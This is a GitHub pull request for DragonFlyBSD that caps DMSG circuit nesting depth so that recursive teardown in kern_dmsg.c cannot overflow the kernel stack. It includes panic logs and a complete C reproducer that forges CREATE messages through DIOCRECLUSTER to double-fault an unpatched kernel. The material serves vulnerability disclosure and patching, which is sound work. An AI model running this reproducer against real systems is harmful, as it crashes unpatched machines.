Skip to content

kdmsg: bound circuit nesting to prevent kernel stack overflow - #41

Open
dreamfast wants to merge 1 commit into
DragonFlyBSD:masterfrom
dreamfast:fix/kdmsg-circuit-nesting-stack-overflow
Open

kdmsg: bound circuit nesting to prevent kernel stack overflow#41
dreamfast wants to merge 1 commit into
DragonFlyBSD:masterfrom
dreamfast:fix/kdmsg-circuit-nesting-stack-overflow

Conversation

@dreamfast

Copy link
Copy Markdown
Contributor

kdmsg: bound circuit nesting to prevent kernel stack overflow

kdmsg_simulate_failure() and kdmsg_state_dying() in sys/kern/kern_dmsg.c recurse without a depth limit through a state's subq child tree (the recursive call is inside the TAILQ_FOREACH over subq). A DMSG peer builds an arbitrarily deep parent→child chain by sending CREATE messages whose circuit field names the previous state as parent — the child is linked into pstate->subq on the receive path — then triggers teardown with a DELETE on the chain root or by closing the connection. The resulting depth-first recursion overflows the 16 KB LWKT kernel thread stack and double-faults the kernel. CRC is not verified on the receive path, so any peer that can reach a DMSG link can forge the triggering messages: the userland hammer2 cluster relay over the network (LNK_AUTH is unimplemented), or locally via DIOCRECLUSTER on a disk device node.

Fix

Add an int depth field to struct kdmsg_state and reject CREATEs whose parent is already at DMSG_MAX_CIRCUIT_DEPTH (8), in the receive CREATE path of kdmsg_state_msgrx. depth is set in both the receive and transmit CREATE paths so a transmit-created state used as a circuit parent carries an accurate value. This bounds the recursive teardown to ~9 levels. The cap is deliberately 8 rather than a larger value: kdmsg_state_abort() re-enters the full receive path for each level, so each nesting level costs a ~5-function call cycle (~485 bytes) — a 33-deep chain was found to still overflow the 16 KB stack, while 8 keeps the worst case (~4.4 KB) within it with a >3x margin. Typical DMSG/HAMMER2 circuit nesting is 1–3.

Before / after

#0 unpatched (sys/kern/kern_dmsg.c), ./dmsg_chain 300
DOUBLE FAULT
Fatal double fault
rsp = 0xfffff800ab38f000        # page-aligned: 16 KB LWKT stack exhausted
panic: double fault
dblfault_handler() at dblfault_handler+0x10c
...
db>                              # guest frozen in DDB
#1 patched (DMSG_MAX_CIRCUIT_DEPTH=8), same ./dmsg_chain 300
[4] wrote 300 CREATEs
[5] wrote DELETE root
[7] survived; no panic observed
TRIGGER_EXIT=0
boot.log:
  kdmsg: circuit nesting too deep (9), rejecting CREATE
  double-fault / panic count: 0

Reproducer

Build and run as root/operator (a reachable disk node is needed for DIOCRECLUSTER):

cc -o dmsg_chain dmsg_chain.c -lpthread
./dmsg_chain 300          # >= ~100 overflows the 16 KB stack
/* Build a deep DMSG circuit chain, then delete the root to drive the
 * recursive teardown.  Receive path does not verify CRCs, so the
 * chain is assembled with forged CREATEs.  Run on a disposable VM:
 * an unpatched kernel double-faults.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/diskslice.h>	/* DIOCRECLUSTER */
#include <sys/dmsg.h>
#include <sys/socket.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

#define DISK	"/dev/vbd0"

/* Minimal 64-byte DMSG header. */
static void
mk_dmsg(void *buf, uint32_t cmd, uint64_t msgid, uint64_t circuit)
{
	dmsg_hdr_t *h = buf;
	memset(buf, 0, 64);
	h->magic = DMSG_HDR_MAGIC;
	h->cmd = cmd;
	h->msgid = msgid;
	h->circuit = circuit;
	h->hdr_crc = 0;
	h->aux_crc = 0;
}

/* Drain kernel->us replies so the kernel writer never blocks. */
static void *
drain(void *arg)
{
	int fd = *(int *)arg;
	char buf[4096];
	while (read(fd, buf, sizeof(buf)) > 0)
		;
	return NULL;
}

int
main(int argc, char **argv)
{
	int depth = (argc >= 2) ? atoi(argv[1]) : 300;
	if (depth < 1)
		depth = 1;

	int diskfd = open(DISK, O_RDWR);
	if (diskfd < 0)
		err(1, "open %s", DISK);

	int sv[2];
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");

	pthread_t dt;
	pthread_create(&dt, NULL, drain, &sv[1]);

	/* Attach sv[0] to the kernel disk DMSG iocom; we write sv[1]. */
	struct disk_ioc_recluster recl;
	memset(&recl, 0, sizeof(recl));
	recl.fd = sv[0];
	if (ioctl(diskfd, DIOCRECLUSTER, &recl) < 0)
		err(1, "DIOCRECLUSTER");

	/* Build a deep chain: state i is a child of state (i - 1). */
	char buf[64];
	for (int i = 1; i <= depth; i++) {
		mk_dmsg(buf, DMSG_LNK_PAD | DMSGF_CREATE, (uint64_t)i,
		    (i == 1) ? 0ULL : (uint64_t)(i - 1));
		if (write(sv[1], buf, 64) != 64)
			err(1, "write CREATE %d", i);
	}

	/* DELETE the root -> kdmsg_simulate_failure recursion -> stack overflow. */
	mk_dmsg(buf, DMSG_LNK_PAD | DMSGF_DELETE, 1ULL, 0ULL);
	write(sv[1], buf, 64);
	sleep(3);

	/* Closing sv[1] drives the write-thread teardown path too. */
	close(sv[1]);
	sleep(3);
	fprintf(stderr, "survived; no panic observed\n");
	return 0;
}

kdmsg_simulate_failure() and kdmsg_state_dying() recurse through a
state's subq child tree with no depth limit.  A DMSG peer builds an
arbitrarily deep parent->child chain via CREATE messages, and teardown
(DELETE on the root, or connection close) drives recursion that
overflows the 16 KB LWKT kernel thread stack and double-faults.

Add a depth field to struct kdmsg_state and reject CREATEs whose parent
is already at DMSG_MAX_CIRCUIT_DEPTH (8), setting depth in both the
receive and transmit CREATE paths.  The cap is 8 rather than a larger
value because kdmsg_state_abort() re-enters the receive path per level,
so each nesting level costs a ~5-function cycle (~485 bytes); 33 levels
empirically still overflow the stack, while 8 keeps the worst case
(~4.4 KB) within it with a >3x margin.
@seuros

seuros commented Jul 3, 2026

Copy link
Copy Markdown
Contributor

Can you explain when this path can happen without triggering via a custom script ?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants